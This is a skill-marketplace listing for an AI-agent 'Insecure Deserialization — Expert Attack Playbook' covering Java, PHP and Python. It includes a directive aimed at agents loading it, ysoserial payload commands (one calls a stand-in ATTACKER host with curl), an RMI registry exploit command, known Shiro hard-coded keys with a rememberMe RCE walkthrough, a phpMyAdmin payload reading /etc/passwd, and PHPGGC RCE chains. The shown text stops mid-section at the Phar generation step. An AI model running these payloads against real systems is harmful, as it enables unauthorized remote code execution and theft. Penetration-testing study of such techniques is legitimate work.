- Skill ID
- yaklang/hack-skills/deserialization-insecure
- Publisher
- yaklang
- Repository
- hack-skills
- Installs
- 0
- Files
- 2
- Synced
- Sep 23, 2026
Open any RiverX project, open the Skills panel in the chat, and search for this identifier. The files are fetched from the source repository at install time.
yaklang/hack-skills/deserialization-insecureInstalls these files- JAVA_GADGET_CHAINS.md
- SKILL.md
What this skill tells the agent
SKILL: Insecure Deserialization — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert deserialization techniques across Java, PHP, and Python. Covers gadget chain selection, traffic fingerprinting, tool usage (ysoserial, PHPGGC), Shiro/WebLogic/Commons Collections specifics, Phar deserialization, and Python pickle abuse. Base models often miss the distinction between finding the sink and finding a usable gadget chain.
0. RELATED ROUTING
- jndi-injection when deserialization leads to JNDI lookup (e.g., post-JDK 8u191 bypass via LDAP → deserialization)
- unauthorized-access-common-services when the deserialization endpoint is an exposed management service (RMI Registry, T3, AJP)
- ghost-bits-cast-attack when a WAF blocks your BCEL ClassLoader or Fastjson
@typepayload — Ghost Bits wraps each bytecode byte in a Unicode char whose low 8 bits match, yielding a payload the WAF cannot fingerprint
Advanced Reference
Also load JAVA_GADGET_CHAINS.md when you need:
- Java gadget chain version compatibility matrix (CommonsCollections 1–7, CommonsBeanutils, Spring, JDK-only, Groovy, Hibernate, ROME, C3P0, etc.)
- SnakeYAML gadget (ScriptEngineManager/URLClassLoader) with exploit JAR structure
- Hessian/Kryo/Avro/XStream deserialization patterns and traffic fingerprints
- .NET ViewState deserialization (machineKey requirement, ViewState forgery with ysoserial.net, Blacklist3r)
- Ruby YAML.load vs YAML.safe_load exploitation with version-specific chains
- Detection fingerprints: magic bytes table by format (Java
AC ED, .NETAAEAAD, Python pickle80 0N, PHPO:, Ruby04 08)
1. TRAFFIC FINGERPRINTING — IS IT DESERIALIZATION?
Java Serialized Objects
| Indicator | Where to Look |
|---|---|
Hex ac ed 00 05 | Raw binary in request/response body, cookies, POST params |
Base64 rO0AB | Cookies (rememberMe), hidden form fields, JWT claims |
Content-Type: application/x-java-serialized-object | HTTP headers |
| T3/IIOP protocol traffic | WebLogic ports (7001, 7002) |
PHP Serialized Objects
| Indicator | Where to Look |
|---|---|
O:NUMBER:"ClassName" pattern | POST body, cookies, session files |
a:NUMBER:{ (array) | Same locations |
phar:// URI usage | File operations accepting user-controlled paths |
Python Pickle
| Indicator | Where to Look |
|---|---|
Hex 80 03 or 80 04 (protocol 3/4) | Binary data in requests, message queues |
| Base64-encoded binary blob | API params, cookies, Redis values |
pickle.loads / pickle.load in source | Code review / whitebox |
2. JAVA — GADGET CHAINS AND TOOLS
ysoserial — Primary Tool
# Generate payload (example: CommonsCollections1 chain with command)
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned" > payload.bin
# Base64-encode for HTTP transport
java -jar ysoserial.jar CommonsCollections1 "id" | base64 -w0
# Common chains to try (ordered by frequency of vulnerable dependency):
# CommonsCollections1-7 — Apache Commons Collections 3.x / 4.x
# Spring1, Spring2 — Spring Framework
# Groovy1 — Groovy
# Hibernate1 — Hibernate
# JBossInterceptors1 — JBoss
# Jdk7u21 — JDK 7u21 (no extra dependency)
# URLDNS — DNS-only confirmation (no RCE, works everywhere)URLDNS — Safe Confirmation Probe
URLDNS triggers a DNS lookup without RCE — safe for confirming deserialization without damage:
java -jar ysoserial.jar URLDNS "http://UNIQUE_TOKEN.burpcollaborator.net" > probe.binDNS hit on collaborator = confirmed deserialization. Then escalate to RCE chains.
Commons Collections — The Classic Chain
The vulnerability exists when org.apache.commons.collections (3.x) is on the classpath and the application calls readObject() on untrusted data.
Key classes in the chain: InvokerTransformer → ChainedTransformer → TransformedMap → triggers Runtime.exec() during deserialization.
Apache Shiro — rememberMe Deserialization
Shiro uses AES-CBC to encrypt serialized Java objects in the rememberMe cookie.
Known hard-coded keys (SHIRO-550 / CVE-2016-4437):
kPH+bIxk5D2deZiIxcaaaA== # most common default
wGJlpLanyXlVB1LUUWolBg== # another common default in older versions
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==Attack flow:
- Detect: response sets
rememberMe=deleteMecookie on invalid session - Generate ysoserial payload (CommonsCollections6 recommended for broad compat)
- AES-CBC encrypt with known key + random IV
- Base64-encode → set as
rememberMecookie value - Send request → server decrypts → deserializes → RCE
DNSLog confirmation (before full RCE): use URLDNS chain → java -jar ysoserial.jar URLDNS "http://xxx.dnslog.cn" → encrypt → set cookie → check DNSLog for hit.
Post-fix (random key): Key may still leak via padding oracle, or another CVE (SHIRO-721).
WebLogic Deserialization
Multiple vectors:
- T3 protocol (port 7001): direct serialized object injection
- XMLDecoder (CVE-2017-10271): XML-based deserialization via
/wls-wsat/CoordinatorPortType - IIOP protocol: alternative to T3
# T3 probe — check if T3 is exposed:
nmap -sV -p 7001 TARGET
# Look for: "T3" or "WebLogic" in service bannerJava RMI Registry
RMI Registry (port 1099) accepts serialized objects by design:
# ysoserial exploit module for RMI:
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit TARGET 1099 CommonsCollections1 "id"
# Requires: vulnerable library on target's classpath
# Works on: JDK <= 8u111 without JEP 290 deserialization filterJDK Version Constraints
| JDK Version | Impact |
|---|---|
| < 8u121 | RMI/LDAP remote class loading works |
| 8u121-8u190 | trustURLCodebase=false for RMI; LDAP still works |
| >= 8u191 | Both RMI and LDAP remote class loading blocked |
| >= 8u191 bypass | Use LDAP → return serialized gadget object (not remote class) |
3. PHP — unserialize AND PHAR
Magic Method Chain
PHP deserialization triggers magic methods in order:
__wakeup() → called immediately on unserialize()
__destruct() → called when object is garbage-collected
__toString() → called when object is used as string
__call() → called for inaccessible methodsAttack: craft a serialized object whose __destruct() or __wakeup() triggers dangerous operations (file write, SQL query, command execution, SSRF).
Serialized Object Format
O:8:"ClassName":2:{s:4:"prop";s:5:"value";s:4:"cmd";s:2:"id";}
// O:LENGTH:"CLASS":PROP_COUNT:{PROPERTIES}phpMyAdmin Configuration Injection (Real-World Case)
phpMyAdmin PMA_Config class reads arbitrary files via source property:
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source";s:11:"/etc/passwd";}PHPGGC — PHP Gadget Chain Generator
# List available chains:
phpggc -l
# Generate payload (example: Laravel RCE):
phpggc Laravel/RCE1 system id
# Common chains:
# Laravel/RCE1-10
# Symfony/RCE1-4
# Guzzle/RCE1
# Monolog/RCE1-2
# WordPress/RCE1
# Slim/RCE1Phar Deserialization
Phar archives contain serialized metadata. Any file operation on a phar:// URI triggers deserialization — even when unserialize() is never directly called.
Triggering functions (partial list):
file_exists() file_get_contents() fopen()
is_file() is_dir() copy()
filesize() filetype() stat()
include() require() getimagesize()Attack flow:
- Upload a valid file (e.g., JPEG with phar polyglot)
- Trigger file operation:
file_exists("phar://uploads/avatar.jpg") - PHP deserializes phar metadata → gadget chain executes
# Generate phar with PHPGGC:More from yaklang
Use this skill in a project
Open any RiverX project, search the Skills panel for yaklang/hack-skills/deserialization-insecure, and install it in one click.
